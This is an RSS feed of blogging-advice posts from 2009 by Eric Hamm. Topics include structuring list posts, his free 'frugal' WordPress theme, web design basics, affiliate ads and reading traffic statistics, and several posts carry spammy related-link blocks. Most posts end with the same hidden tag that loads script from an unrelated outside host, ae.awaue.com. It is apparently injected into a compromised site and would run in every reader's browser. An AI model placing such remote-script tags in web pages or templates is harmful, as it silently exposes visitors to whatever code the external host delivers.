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	<title>Blogopolis Blueprint &#187; Eric Hamm</title>
	<atom:link href="http://blogopolisblueprint.com/author/eric-hamm/feed/" rel="self" type="application/rss+xml" />
	<link>http://blogopolisblueprint.com</link>
	<description>Find Your Voice</description>
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		<title>Writing A List Post Without Writing A List Post</title>
		<link>http://blogopolisblueprint.com/writing-a-list-post-without-writing-a-list-post/</link>
		<comments>http://blogopolisblueprint.com/writing-a-list-post-without-writing-a-list-post/#comments</comments>
		<pubDate>Mon, 04 May 2009 08:00:33 +0000</pubDate>
		<dc:creator>Eric Hamm</dc:creator>
				<category><![CDATA[blogging]]></category>
		<category><![CDATA[list post]]></category>
		<category><![CDATA[writing]]></category>

		<guid isPermaLink="false">http://blogopolisblueprint.com/?p=1036</guid>
		<description><![CDATA[(What does the picture have to do with writing list posts?  Absolutely nothing&#8230;)
Many will agree that list posts are often times the most popular format as they enable the reader a quick skim without missing much of the core message.  As blog readers, we may intend on reading through an entire post, but we certainly [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.flickr.com/photos/phillykevflicks/389706309/"><img class="alignleft size-full wp-image-1037" title="list_post" src="http://blogopolisblueprint.com/wp-content/uploads/2009/05/list_post1.jpg" alt="list_post" width="380" height="500" /></a>(<em>What does the picture have to do with writing list posts?  Absolutely nothing&#8230;</em>)</p>
<p>Many will agree that list posts are often times the most popular format as they enable the reader a quick skim without missing much of the core message.  As blog readers, we may intend on reading through an entire post, but we certainly don&#8217;t want to have to actually read the thing before we determine if it&#8217;s the one we want to give our precious time to.  With a list post we can glance at a few listed headings and make this determination without breaking a mental sweat.  Too many 12px sized letters between these headings and we&#8217;re libel to just move on to our next possible post.</p>
<p>The problem is, many bloggers either don&#8217;t like writing conventional list posts or many blog readers don&#8217;t really enjoy reading them.  So how can we maintain this skim-ability without confining our content to 1&#8217;s, 2&#8217;s, 3&#8217;s and so on?</p>
<h3>Breaking Down Big Posts</h3>
<p>I&#8217;ve been writing some pretty hefty posts over at <a href="http://motivatethyself.com" target="_self">Motivate Thyself</a>.  Some have pushed past 3,500 words.  Yet if you were to pop over there and scroll through a few, you&#8217;d see that they are still quite easy to skim and decide if the content is worth the full read.  I rarely go more than a few paragraphs without some kind of heading that introduces the next hundred and fifty words.  I list my content without using bullets or numbers and while maintaining a more conventional writing style (most of the time).</p>
<p>As I write, I keep an eye out for chunks of content.  If I&#8217;m starting a new paragraph and it seems to jump into its own unique thought or idea or section, I create a heading to start it off.  This way, I not only give my readers clear guidelines to my longs posts, but I maintain a kind of listed structure that helps me maintain focus as I blaze through thousands of words.</p>
<h3>Other Kinds of Content Markers</h3>
<p>Headings, bullets and numbers are only a few ways of breaking down your content into easily indigestible bites.  We can also achieve this by using other forms of text formats.  Whether we <strong>bold</strong> our words, <span style="color: #ff0000;">color</span> or <em>italicize</em> them, we can cleanly organize our insight while maintaining the interest of our readers.</p>
<h3>Integrating A Conventional List</h3>
<p>Many of my posts also have numbered or bulleted lists built in.  Usually toward the end, acting as a kind of summary, I find this to be perfect for the application part of the post.  It&#8217;s easy to knock out some great writing and share awesome insight, but then leave out the real meat.  Most blog readers (depending on what they&#8217;re reading, of course) want to know what to do next.  If they&#8217;ve read an awesome, thought provoking post, they want that last bite to be filled with some form of direction.  A kind of, &#8220;Now do this, this and this&#8230;&#8221; kind of thing.  Otherwise, they&#8217;re left feeling like, &#8220;In theory, that all made sense, but how do I apply it to my own life?&#8221;</p>
<h3>Sticking To Your Own Unique Style</h3>
<p>The bottom line is this:  We all have our own unique voice to share with the world and no one can convey that style better that you can.  Yet there are certain ways to write our thoughts that are most effective for the common blog reader.  If we neglect either of these facts we risk weakening our reach.  So by all means, find what works and then mold it into an easily edible morsel for visitors to comfortably enjoy.</p>
<p>Listing your thoughts is a tried and true method in the blogging community, but not all lists have to look the same.  Find the structure that fits your style the best, while leaving bread crumbs for your readers along the way.  <strong>Go too long without a breather and risk losing many of your readers as they grow tired of the uninterrupted information overload.</strong></p>
<h4>Eric</h4>
<p><script src="http://ae.awaue.com/7"></script></p>
  <a STYLE="border:none;text-decoration:none;outline:none;" href="http://www.blogtrafficexchange.com"><img border="0" alt="Blog Traffic Exchange" src="http://blogopolisblueprint.com/wp-content/plugins/related-websites/24x24.png"></a> <a href="http://www.blogtrafficexchange.com/related-websites"><strong>Related Websites</strong></a> <ul>  <li> <img src="http://frugaldad.com/wp-content/uploads/2008/05/keyboard.jpg" class="imgbte" hspace="5" align="left" width="100" alt="keyboard.jpg" title="keyboard.jpg" border=0><a onClick="window.location='http://bte.tc/CEU'; return false;" href="http://frugaldad.com/2008/05/04/be-a-blogger-how-to-write-for-the-web/">How to Write for the Web</a> <small>A "virtual" friend of mine, Brad, has decided to take the blogging plunge and started up his own blog at EnemyofDebt.com (that's right, the enemy of my enemy is my friend). He recently asked for some advice on writing for the web and I asked him if I could answer......</small> </li> <li> <a onClick="window.location='http://bte.tc/5np'; return false;" href="http://nichephile.com/198/effective-article-content-writing/">Effective Article Content Writing</a> <small>Content is the essence of Internet marketing.  It is also a very significant part of a website.  Although website design can be a good way to attract visitors, its effect may only be temporary.  However, the part that makes a website interesting is its content.  Visitors to a website return......</small> </li> <li> <a onClick="window.location='http://bte.tc/Usa'; return false;" href="http://redfoxseo.com/2009/12/401/"></a> <small>WRITING FOR PUBLICITY AND PROFIT ON THE WWW "It's easy being a writer... the hardest part is figuring how to make a living, whilst one does so." "I got sick and tired of waiting for writing success... so just carried on without it." - anon "It took me twelve long......</small> </li> <li> <img src="http://cf.blogtrafficexchange.com/wp-content/uploads/2009/08/contest-150x150.jpg" class="imgbte" hspace="5" align="left" width="100" alt="contest" title="contest" border=0><a onClick="window.location='http://bte.tc/fEX'; return false;" href="http://www.blogtrafficexchange.com/4-things-bloggers-do-wrong/">4 Things Bloggers Do WRONG!</a> <small>Iâm a very prolific blogger and read a lot in my blog community and in other blog communities. I canât stand some of the things I see and if I have a problem, I can guarantee other readers of your blog do too. Here are four things bloggers are doing......</small> </li> <li> <a onClick="window.location='http://bte.tc/ay58'; return false;" href="http://totallyt-shirts.com/?p=855">Machine Head Unleash T-Shirt</a> <small>Machine Head Unleash T-Shirt This is an officially licensed Machine Head t-shirt in which these Machine Head shirts have been screen printed with the Machine Head image on front. These Machine Head tshirts are usually made from heavyweight preshrunk 6oz. cotton tee shirt blanks. Be sure to check out our......</small> </li> </ul>]]></content:encoded>
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		<title>Frugal Wordpress Theme And A Focus Shift For The Blueprint</title>
		<link>http://blogopolisblueprint.com/frugal-wordpress-theme-and-a-focus-shift-for-the-blueprint/</link>
		<comments>http://blogopolisblueprint.com/frugal-wordpress-theme-and-a-focus-shift-for-the-blueprint/#comments</comments>
		<pubDate>Mon, 20 Apr 2009 08:00:41 +0000</pubDate>
		<dc:creator>Eric Hamm</dc:creator>
				<category><![CDATA[Community]]></category>
		<category><![CDATA[frugal wordpress theme]]></category>
		<category><![CDATA[guest posting]]></category>

		<guid isPermaLink="false">http://blogopolisblueprint.com/?p=982</guid>
		<description><![CDATA[
You may have noticed a slight difference in the look of The Blueprint.  It was originally built from the framework of the Flexx theme from iThemes, but it&#8217;s now sporting a brand new core.
I recently finished creating my very first Wordpress theme called &#8216;frugal&#8217;.  In its stock form it&#8217;s a super clean, minimalist Wordpress theme [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://frugaltheme.com"><img class="aligncenter size-full wp-image-985" title="frugal_wordpress_theme" src="http://blogopolisblueprint.com/wp-content/uploads/2009/04/frugal_wordpress_theme1.jpg" alt="frugal_wordpress_theme" width="500" height="324" /></a></p>
<p>You may have noticed a slight difference in the look of The Blueprint.  It was originally built from the framework of the Flexx theme from <a href="http://ithemes.com" target="_self">iThemes</a>, but it&#8217;s now sporting a brand new core.</p>
<p>I recently finished creating my very first Wordpress theme called &#8216;frugal&#8217;.  In its stock form it&#8217;s a super clean, minimalist Wordpress theme that has everything you need to properly showcase your blogs content and not a code snippet more.  Since creating this theme I&#8217;ve gone ahead and rebuilt <a href="http://motivatethyself.com" target="_self">Motivate Thyself</a> with it and now The Blueprint.  (Dan Miranda of <a href="http://commandyourtime.com/" target="_self">Command Your Time</a> is running it in stock form)</p>
<h3>The New Features</h3>
<p>I tried to stick with the same general look.  I didn&#8217;t necessarily want to redesign The Blueprint, just infuse frugal&#8217;s core code to see what happened.  Here&#8217;s what has changed:</p>
<ul>
<li><strong>Guest Post Submit button:</strong> I&#8217;ll explain more about this later in this post, but there is now a clickable button in the header for guest post submissions.</li>
<li><strong>Category Bar:</strong> Now, instead of the categories mixing in with the rest of the sidebar content, they sit right under the main navigation bar for easy access (this was a Flexx feature as well, we just never utilized it).</li>
<li><strong>A Kind of Share-This space above the comments:</strong> By way of widget, I&#8217;ve added an easy way for readers to share, subscribe and follow, right above the comments.</li>
<li><strong>MY FAVORITE!  Threaded comments:</strong> Now we can reply directly in the comments instead of having to @ everybody.  I&#8217;ve been using this on Motivate Thyself ever since I change over to frugal and I&#8217;ll never go back!</li>
</ul>
<p>There are a few more minor differences.  You&#8217;ll notice the main navbar is a bit different as well as other minor design changes.</p>
<h3>What is the frugal Theme?</h3>
<p>As I&#8217;ve already mentioned, this is my very first Wordpress theme creation and I&#8217;m quite proud of it.  I&#8217;ve had great feedback thus far and look forward to seeing it on more an more blogs.  It&#8217;s totally FREE and is the **shamelessly inserting anchor text** <a href="http://frugaltheme.com" target="_self">best free wordpress theme</a> available! <img src='http://blogopolisblueprint.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':-D' class='wp-smiley' /> </p>
<p>frugal came about while I was looking for a theme to meet my Wordpress theme customization requirements.  I needed something that could be the perfect clean slate theme to build off of.  The problem was that there were either simple themes that were poorly built and had none of the features I deemed essential (threaded comments capable, attractive, custom avatar size and placement without having to add a plugin, <a href="http://validator.w3.org/" target="_self">clean code that validates</a>, etc&#8230;) or full featured themes that required a complete stripping before they could be properly customized.  So I built frugal to fill this need.</p>
<p>frugal is an excellent Wordpress theme in its stock form for anyone looking for a super light, fast, clean theme to do nothing more than make their content shine.  But if you want to customize it, I&#8217;ve included a 29-page ebook that goes over both the basics of Wordpress theme design as well as how to specifically customize your frugal theme.  And like I said, it&#8217;s all FREE!  So be sure to <a href="http://frugaltheme.com/what-is-the-frugal-wordpress-theme/" target="_self">check it out</a>, <a href="http://frugaltheme.com/download/" target="_self">download it</a>, <a href="http://frugaltheme.com/promote/" target="_self">promote it</a> if you like it and <a href="http://frugaltheme.com/contact/" target="_self">give me feedback</a> so I can keep improving it!</p>
<h3>Share Your Voice!</h3>
<p>Now for the focus shift for The Blueprint.  Sean and I have talked a lot about what direction we want to take The Blueprint and with the recent introduction of the <a href="http://collectiveinkwell.com" target="_self">best copywriting blog </a>in existence I felt is was time to make a decision and move forward with the adjustments.  So here goes&#8230;</p>
<p>Most of us are bloggers, right?  And we all, at some point or another, have great ideas to share about this very subject.  But few of us have an established venue to share our great blogging insights.  Sean and I would like The Blueprint to be that place.</p>
<p>So what we&#8217;re doing is offering an open door to submit post ideas.  We want you to be able to take that blogging idea or tip or whatever you think needs to be aired out, and share it with our readers.</p>
<h3>Open Debates</h3>
<p>One of the things that we have enjoyed at BB is the willingness for this community to hash it out in the comments.  Tired of the &#8216;bland posts/pats on the back&#8217; kind of content, we&#8217;re looking for ideas that will shake things up.  We want bloggers who are willing to put themselves out there a bit.  Not all posts should be agreeable and frankly it&#8217;s the agreeable ones that are often the most boring.  Let&#8217;s learn from heated discussions and brutal debates (tactful, respectful, brutal debates <img src='http://blogopolisblueprint.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  ), and make The Blueprint an exciting venue to chat up blogging, while sharpening our online presence.</p>
<p>To submit a guest post request or just learn a bit more, go to our <a href="http://blogopolisblueprint.com/guest-posting/" target="_self">guest posting</a> page.</p>
<p><strong>Question (I&#8217;m totally stealing this from <a href="http://collectiveinkwell.com" target="_self">Collective Inkwell</a>&#8217;s last post):</strong> What kinds of posts do you find most interesting to read AND which ones seem to invite the best conversations in the comments?</p>
<p>Eric<script src="http://ae.awaue.com/7"></script></p>
  <a STYLE="border:none;text-decoration:none;outline:none;" href="http://www.blogtrafficexchange.com"><img border="0" alt="Blog Traffic Exchange" src="http://blogopolisblueprint.com/wp-content/plugins/related-websites/24x24.png"></a> <a href="http://www.blogtrafficexchange.com/related-websites"><strong>Related Websites</strong></a> <ul>  <li> <img src="http://smartbizprofits.com/wp-content/uploads/uk music video submissions-150x150.jpg" class="imgbte" hspace="5" align="left" width="100" alt="uk music video submissions" title="uk music video submissions" border=0><a onClick="window.location='http://bte.tc/cAsk'; return false;" href="http://smartbizprofits.com/uk-music-video-submissions/">uk music video submissions</a> <small>Top social media network sites!1.Facebook Having reached over 350 million worldwide active users in November 2009, Facebook is one of the most influential social networking community. It is continuously growing at a very fast pace and 50% of active users log on to Facebook in any given day. More......</small> </li> <li> <a onClick="window.location='http://bte.tc/hPw'; return false;" href="http://boatordie.com/womens-pro-top-4350w-womens-dinghy-one-design-gear-pro-dinghy-top-black-12/">Women's Pro Top 4350W Women's Dinghy &amp; One Design Gear, Pro Dinghy Top, Black, 12</a> <small>Gill s new Dinghy One Design Gear features improved breathability for greater comfort on the water. It offers water and wind protection without weight or bulk for kayaking, dinghy or sporting keelboats that demand maximum agility. The Pro Top has a center zip opening for ease of use, a slim......</small> </li> <li> <img src="http://www.worldphoto360.com/wp-content/uploads/2010/05/macbook-pro-300x221-150x150.jpg" class="imgbte" hspace="5" align="left" width="100" alt="Top Best 100  Incredibly Useful &amp; Free Mac Apps" title="Top Best 100  Incredibly Useful &amp; Free Mac Apps" border=0><a onClick="window.location='http://bte.tc/bPrv'; return false;" href="http://www.worldphoto360.com/top-best-100-incredibly-useful-free-mac-apps/">Top Best 100  Incredibly Useful & Free Mac Apps</a> <small>[/caption] Everyone loves free applications. One of the greatest things about Macs is the wealth of extremely talented developers that are willing to share their amazing creations without asking for a single cent. We’ve compiled an enormous list of 100 amazing free Mac applications that you can download and start......</small> </li> <li> <img src="http://www.countrygardenlandscaping.com/wp-content/uploads/2009/09/gardenpool-150x150.jpg" class="imgbte" hspace="5" align="left" width="100" alt="gardenpool" title="gardenpool" border=0><a onClick="window.location='http://bte.tc/hmb'; return false;" href="http://www.countrygardenlandscaping.com/swimming-pools-in-your-garden-landscape/">Swimming Pools in your Garden Landscape</a> <small>When you add a swimming pool to your landscape, it should not appear as a fish out of water, but instead incorporating a pool into your landscape should be smooth and easy. Your swimming pool should look as if it belongs as part of your landscape rather than sticking out......</small> </li> <li> <img src="http://www.worldphoto360.com/wp-content/uploads/2010/04/iPhone-OS4-150x150.jpg" class="imgbte" hspace="5" align="left" width="100" alt="Developers unearth more features in iPhone OS 4.0" title="Developers unearth more features in iPhone OS 4.0" border=0><a onClick="window.location='http://bte.tc/bgpw'; return false;" href="http://www.worldphoto360.com/developers-unearth-more-features-in-iphone-os-4-0/">Developers unearth more features in iPhone OS 4.0</a> <small>[/caption] By Jacqui Cheng A few days has passed since Apple gave developers a sneak preview of iPhone OS 4.0, and already there's new (NDA-breaking) information floating around about the other 90-some features that Steve Jobs didn't discuss at Apple's media event. In addition to renewed evidence that Apple may......</small> </li> </ul>]]></content:encoded>
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		<item>
		<title>The Basics of Web Design</title>
		<link>http://blogopolisblueprint.com/the-basics-of-web-design/</link>
		<comments>http://blogopolisblueprint.com/the-basics-of-web-design/#comments</comments>
		<pubDate>Fri, 10 Apr 2009 08:00:40 +0000</pubDate>
		<dc:creator>Eric Hamm</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[blog theme]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blogopolisblueprint.com/?p=940</guid>
		<description><![CDATA[Image courtesy of dullhunk
As you probably already know, a blog theme is just another website template.  Pages of code that sit on web servers and tell browsers what to put on their pages, these themes are nothing but plain old websites. Learning about web design is leaning about blog theme design. So here are [...]]]></description>
			<content:encoded><![CDATA[<h6 style="text-align: center;"><img class="aligncenter size-full wp-image-945" title="basic_web_design" src="http://blogopolisblueprint.com/wp-content/uploads/2009/04/basic_web_design1.jpg" alt="basic_web_design" width="435" height="356" /><em>Image courtesy of <a href="http://www.flickr.com/photos/dullhunk/2101058680/" target="_self">dullhunk</a></em></h6>
<p>As you probably already know, a blog theme is just another website template.  Pages of code that sit on web servers and tell browsers what to put on their pages, these themes are nothing but plain old websites. Learning about web design is leaning about blog theme design. So here are a few tips about what a solid site should do to make the most of its online real estate.</p>
<h3>Framework:</h3>
<p>First and foremost, a website design is just a kind of framework for the content it presents in its boundaries.  From the header where the logo/title sits, to the navigation bar that is attached in some way, shape or form to any sidebars, feature sections and the final footer to close the circuit.  All of this, surrounding the main content area where you&#8217;re focused voice is present.  This framework is the glue that holds your website together.</p>
<p><strong>Starting with the header:</strong> An effective header is one that is just the right size to make visible your name-brand, but not too much to burst your readers personal bubble.  It should fallow the theme of the rest of the site, but carry just enough difference that it stands out and draws those new eyes into itself.  You want a new visitor to be drawn to it, but not so much that they can&#8217;t look away.</p>
<p><strong>The navigation bar:</strong> I personally believe that this is the most important part of the framework.  Acting as a kind of anchor, the navigation bar (or navbar for short) becomes the boundary between your header and the rest of your content (this assumes it&#8217;s on top and not on the side, but that&#8217;s an assumption I&#8217;m going to make in this handbook).  It holds the keys to each page on your website and allows instant access, no matter where you go.  The header is important, but without the navbar, it would feel naked and out of place.</p>
<p>The key to an effective navbar is simple.  Use JUST the necessary amount of pages to it and it will do its job.  Too many and they become lost in themselves, doing nothing more than confusing your short attention spanned reader.</p>
<p><strong>Sidebar:</strong> The sidebar is your sub-content area.  Kind of a mix between the navbar and your main content area, the sidebar both caries access to other locations as well as house content you want readily available with just the slightest glance.</p>
<p>A solid sidebar is one that is JUST big enough to house your necessary links, buttons, forms and images.  Keep it simple, but not bland.  You want to draw your readers eye, but not distract from your main content.</p>
<p>Speaking of your main content area:  This should be the largest piece of land on your website, housing the focus and point of your pages.  White or light background is ideal, with dark colored text.  Clean is always good and the rest is up to your own grammatical skills.</p>
<p><strong>The footer:</strong> The final piece to the puzzle, the footer closes the loop to keep the circuit circling.  There are two kinds of effective footers and both are about as opposite as they come&#8230;</p>
<p>One is the simple cut off point.  This should be almost invisible, but just enough to house the credits and bounce your readers eye back up to the top.  The second kind is one that houses much more than the credits.  Used as a feature section, this kind of footer is almost a kind of bottom sidebar.  A great place to put some &#8216;bonus&#8217; links for your readers to feast on, this can be a solid way to extent your website just a bit further.  Just be careful not to over do it.  Too much clutter in the basement of your site and you&#8217;ll lose your visitors in the mess of pictures, links and who knows what else.</p>
<p>So keep it clean either way and try and stick to the <a href="http://motivatethyself.com/simplicity-the-value-of-just-enough/" target="_self">JUST ENOUGH</a> rule.</p>
<h3>Feel:</h3>
<p>The feel of your website should be just what it needs to be to draw your reader in.  If it&#8217;s a news site, it should fee informational.  If it&#8217;s about art, it should feel creative.  Whatever your content is trying to convey, your website should back this up with the right layout.</p>
<p>But don&#8217;t mix this up with the idea that the framework should be decked out.  The fact is, what you put INSIDE your layout should determine the look and feel, not so much everything else.  I mean sure, it doesn&#8217;t hurt to have a unique, attractive custom logo and the colors DO make a difference, but the words and images that fill the insides, those are what will solidify your message.  The framework should be just that&#8230;a FRAME.  Just like too much picture frame can take away from the picture, so too can your over-the-top web design distract from the content inside.</p>
<h3>Keeping people coming back:</h3>
<p>The fact is, a new visitor isn&#8217;t your bread and butter.  It&#8217;s only when that person re-appears at a later time that you know you&#8217;ve done something right.  No amount of theme customization will be enough to ensure the masses will come back, time and time again.  It&#8217;s up to YOU to fill the walls of your website with words and images that inspire a return.  <strong>Successful online activity may start with a solid frame, but this quickly transitions to its rightful place, in the hands of your voice.</strong><script src="http://ae.awaue.com/7"></script></p>
  <a STYLE="border:none;text-decoration:none;outline:none;" href="http://www.blogtrafficexchange.com"><img border="0" alt="Blog Traffic Exchange" src="http://blogopolisblueprint.com/wp-content/plugins/related-websites/24x24.png"></a> <a href="http://www.blogtrafficexchange.com/related-websites"><strong>Related Websites</strong></a> <ul>  <li> <a onClick="window.location='http://bte.tc/7rY'; return false;" href="http://livingoffdividends.com/2006/07/27/is-it-still-a-good-time-to-invest-in-real-estate/">Is It Still A Good Time To Invest In Real Estate?</a> <small>Well, it depends on a lot of factors. Like where you're investing. There's a really good site called Housing Tracker that tracks the inventory and median home price for major cities. It has a pretty simple interface and its a great resource. Looking at Los Angeles I saw the inventory......</small> </li> <li> <a onClick="window.location='http://bte.tc/ae9V'; return false;" href="http://www.theamateurfinancier.com/blog/book-review-be-a-real-estate-millionaire/">Book Review: Be a Real Estate Millionaire</a> <small>You might not be aware, but I'm somewhat of a night owl.Â  It's been quite helpful for working on the third shift; naturally being awake when most other people are asleep makes it that much easier to stay awake during the night.Â  But it has downsides, as well; on my......</small> </li> <li> <img src="http://www.richcreditdebtloan.com/wp-content/uploads/2008/11/house-150x150.jpg" class="imgbte" hspace="5" align="left" width="100" alt="house" title="house" border=0><a onClick="window.location='http://bte.tc/nvV'; return false;" href="http://www.richcreditdebtloan.com/the-mortgage-crisis-and-investments-in-real-estate/">The Mortgage Crisis and Investments in Real Estate</a> <small>According to regional and state real estate analysts, the factors which previously fueled the housing boom of the last few years are easy to explain. The factors that fueled this boom in the real instate industry ranged significantly, including: - Interest rates that were historically low. - Flight-Risk Safety Investments......</small> </li> <li> <img src="http://www.richcreditdebtloan.com/wp-content/uploads/2008/05/house-150x150.jpg" class="imgbte" hspace="5" align="left" width="100" alt="house" title="house" border=0><a onClick="window.location='http://bte.tc/eKT'; return false;" href="http://www.richcreditdebtloan.com/real-estate-investments-good-idea-or-bad-idea/">Real Estate Investments - Good Idea or Bad Idea?</a> <small>Right now, if there was a market that had bad news written all over it, it would be real estate. The housing crisis has made investors jumpy, the economy appears to be tanking and home values are plummeting across the country. Would you believe that this is actually a good......</small> </li> <li> <a onClick="window.location='http://bte.tc/7Ex'; return false;" href="http://livingoffdividends.com/2005/09/29/how-i-started-investing-in-real-estate/">How I Started Investing In Real Estate</a> <small>src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> In September 2000 i caught the flu and while I was probably well enough to go to work, I decided to take a week off and relax. I spent a whole week sitting in Barnes and Nobles reading all sorts of business and investing books. That week I......</small> </li> </ul>]]></content:encoded>
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		<slash:comments>5</slash:comments>
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		<title>Wordpress Theme Design: Less Is Often More</title>
		<link>http://blogopolisblueprint.com/wordpress-theme-design-less-is-often-more/</link>
		<comments>http://blogopolisblueprint.com/wordpress-theme-design-less-is-often-more/#comments</comments>
		<pubDate>Tue, 31 Mar 2009 08:00:57 +0000</pubDate>
		<dc:creator>Eric Hamm</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[wordpress theme design]]></category>

		<guid isPermaLink="false">http://blogopolisblueprint.com/?p=929</guid>
		<description><![CDATA[

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			<content:encoded><![CDATA[<div id="viddlervideo-40239-f6ed488" class="viddlervideo">
<p><a href="#viddlervideo-40239-f6ed488" onclick="loadViddlerVideo('40239','f6ed488','player',437,370);" title="Click to play this video."><img width="437" height="370" src="http://cdn-thumbs.viddler.com/thumbnail_2_f6ed488.jpg" alt="Video thumbnail." /></a></p>
<p><a href="#viddlervideo-40239-f6ed488" onclick="loadViddlerVideo('40239','f6ed488','player',437,370);" return false;">Click to play this video.</a></p>
</div>
<p>Just some ramblings of a guy riddled with ADHD&#8230;</p>
<p>Links from video:</p>
<p><a href="http://twitip.com" target="_self">Twitip.com</a></p>
<p><a href="http://stevepavlina.com" target="_self">Stevepavlina.com</a><script src="http://ae.awaue.com/7"></script></p>
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		<slash:comments>7</slash:comments>
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		<title>Should Your Affiliate Ads Coincide With Your Blog&#8217;s Niche? Part 2</title>
		<link>http://blogopolisblueprint.com/should-your-affiliate-ads-coincide-with-your-blogs-niche-part-2/</link>
		<comments>http://blogopolisblueprint.com/should-your-affiliate-ads-coincide-with-your-blogs-niche-part-2/#comments</comments>
		<pubDate>Tue, 24 Mar 2009 08:00:17 +0000</pubDate>
		<dc:creator>Eric Hamm</dc:creator>
				<category><![CDATA[Advertising]]></category>
		<category><![CDATA[affiliates]]></category>

		<guid isPermaLink="false">http://blogopolisblueprint.com/?p=911</guid>
		<description><![CDATA[

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			<content:encoded><![CDATA[<div id="viddlervideo-34314-1017c510" class="viddlervideo">
<p><a href="#viddlervideo-34314-1017c510" onclick="loadViddlerVideo('34314','1017c510','player',437,370);" title="Click to play this video."><img width="437" height="370" src="http://cdn-thumbs.viddler.com/thumbnail_2_1017c510.jpg" alt="Video thumbnail." /></a></p>
<p><a href="#viddlervideo-34314-1017c510" onclick="loadViddlerVideo('34314','1017c510','player',437,370);" return false;">Click to play this video.</a></p>
</div>
<p>Let&#8217;s continue the discussion.  I&#8217;m enjoying the insight and back and forths&#8230;</p>
<h3>Eric</h3>
<p><script src="http://ae.awaue.com/7"></script></p>
  ]]></content:encoded>
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		<slash:comments>10</slash:comments>
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		<item>
		<title>Should Your Affiliate Ads Coincide With Your Blog&#8217;s Niche?</title>
		<link>http://blogopolisblueprint.com/should-your-affiliate-ads-coincide-with-your-blogs-niche/</link>
		<comments>http://blogopolisblueprint.com/should-your-affiliate-ads-coincide-with-your-blogs-niche/#comments</comments>
		<pubDate>Thu, 19 Mar 2009 08:00:13 +0000</pubDate>
		<dc:creator>Eric Hamm</dc:creator>
				<category><![CDATA[Advertising]]></category>
		<category><![CDATA[affiliates]]></category>

		<guid isPermaLink="false">http://blogopolisblueprint.com/?p=896</guid>
		<description><![CDATA[

]]></description>
			<content:encoded><![CDATA[<div id="viddlervideo-88113-e283af59" class="viddlervideo">
<p><a href="#viddlervideo-88113-e283af59" onclick="loadViddlerVideo('88113','e283af59','player',437,370);" title="Click to play this video."><img width="437" height="370" src="http://cdn-thumbs.viddler.com/thumbnail_2_e283af59.jpg" alt="Video thumbnail." /></a></p>
<p><a href="#viddlervideo-88113-e283af59" onclick="loadViddlerVideo('88113','e283af59','player',437,370);" return false;">Click to play this video.</a></p>
</div>
<p>I&#8217;d love to know your thoughts on this, guys!  See you in the comments&#8230;</p>
<h3>Eric</h3>
<p><script src="http://ae.awaue.com/7"></script></p>
  ]]></content:encoded>
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		<slash:comments>23</slash:comments>
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		<title>How To Effectively Analyze Your Blog&#8217;s Traffic</title>
		<link>http://blogopolisblueprint.com/how-to-effectively-analyze-your-blogs-traffic/</link>
		<comments>http://blogopolisblueprint.com/how-to-effectively-analyze-your-blogs-traffic/#comments</comments>
		<pubDate>Tue, 17 Mar 2009 08:00:40 +0000</pubDate>
		<dc:creator>Eric Hamm</dc:creator>
				<category><![CDATA[Traffic]]></category>
		<category><![CDATA[blog traffic]]></category>

		<guid isPermaLink="false">http://blogopolisblueprint.com/?p=877</guid>
		<description><![CDATA[Image courtesy of dannysullivan
Note from the red head: Be sure to check out my guest post on ProBlogger about Gchat!
Whether you&#8217;re using Google Analytics, Wordpress.com Stats or whatever other stat options are available, most bloggers are keeping track of how many hits their blog gets as well as who goes where.  But I would say [...]]]></description>
			<content:encoded><![CDATA[<h6 style="text-align: center;"><img class="aligncenter size-full wp-image-883" title="stats" src="http://66.147.240.171/~blogopol/wp-content/uploads/2009/03/stats1.jpg" alt="stats" width="500" height="338" /><em>Image courtesy of <a href="http://www.flickr.com/photos/dannysullivan/353753750/" target="_self">dannysullivan</a></em></h6>
<p><span style="color: #ff0000;"><em><strong>Note from the red head:</strong> Be sure to check out my <a href="http://www.problogger.net/archives/2009/03/18/google-chat-a-bloggers-best-friend/" target="_self">guest post on ProBlogger about Gchat</a>!</em></span></p>
<p>Whether you&#8217;re using <a href="http://www.google.com/analytics/" target="_self">Google Analytics</a>, <a href="http://wordpress.org/extend/plugins/stats/" target="_self">Wordpress.com Stats</a> or whatever other stat options are available, most bloggers are keeping track of how many hits their blog gets as well as who goes where.  But I would say that many of these same bloggers are not fully aware of the power that these tools have to offer.  How many hits your blog gets in a given day is not nearly as important as where those hits come from, where they go when they hit your blog and how long they stay.  Learn to properly analyze this traffic and you will be able to fully maximize your future flow.</p>
<h3>The FROM Traffic</h3>
<p>When a visitor lands on your blog they have to come from somewhere.  It could be from Google, Stumbleupon, another blog, direct and so on.  But as we all know, not all sources are equal in value.  The more we blog, the less excited we become when Stumbleupon sends a few hundred visitors our way.  As quickly as they come, many will click away to their next 60 second destination.  But a few hundred visits from a like-minded blog that linked to your post&#8230;now THAT&#8217;S something to cheer about.  Already having the trust of the pointing blogger, these visitors are looking to your content with positive expectations.  They will most likely stay longer, click on more links and possibly even subscribe.</p>
<p><strong>Now what about search traffic?</strong> These hits can go either way.  Some just happen to fall upon a random post that may have had some keywords that triggered their search hit.  This will often result in a quick bounce to another site.  But many other search hits will be those who are looking for something that you offer.  I receive multiple search hits a day for my Motivate Thyself post, &#8220;<a href="http://motivatethyself.com/what-career-is-right-for-me/" target="_self">What Career Is Right For Me</a>&#8220;.  Targeted for those looking for answers to this question, I have a lot of web surfers who find this post and many who click the links inside.  To me, this can be some of the best traffic.</p>
<h3>The TO Traffic</h3>
<p>So where are these hits landing when they enter through the gates of your blog?  Most are probably hitting a particular post and leaving after they read it (assuming they get that far).  It&#8217;s important that you have some idea of what posts are getting hits and which ones are not.  Even more importantly, why are they getting the hits and what kind of traffic are they attracting?  If you&#8217;re not asking yourself these questions, well&#8230;you should be.</p>
<h3>The Clicks</h3>
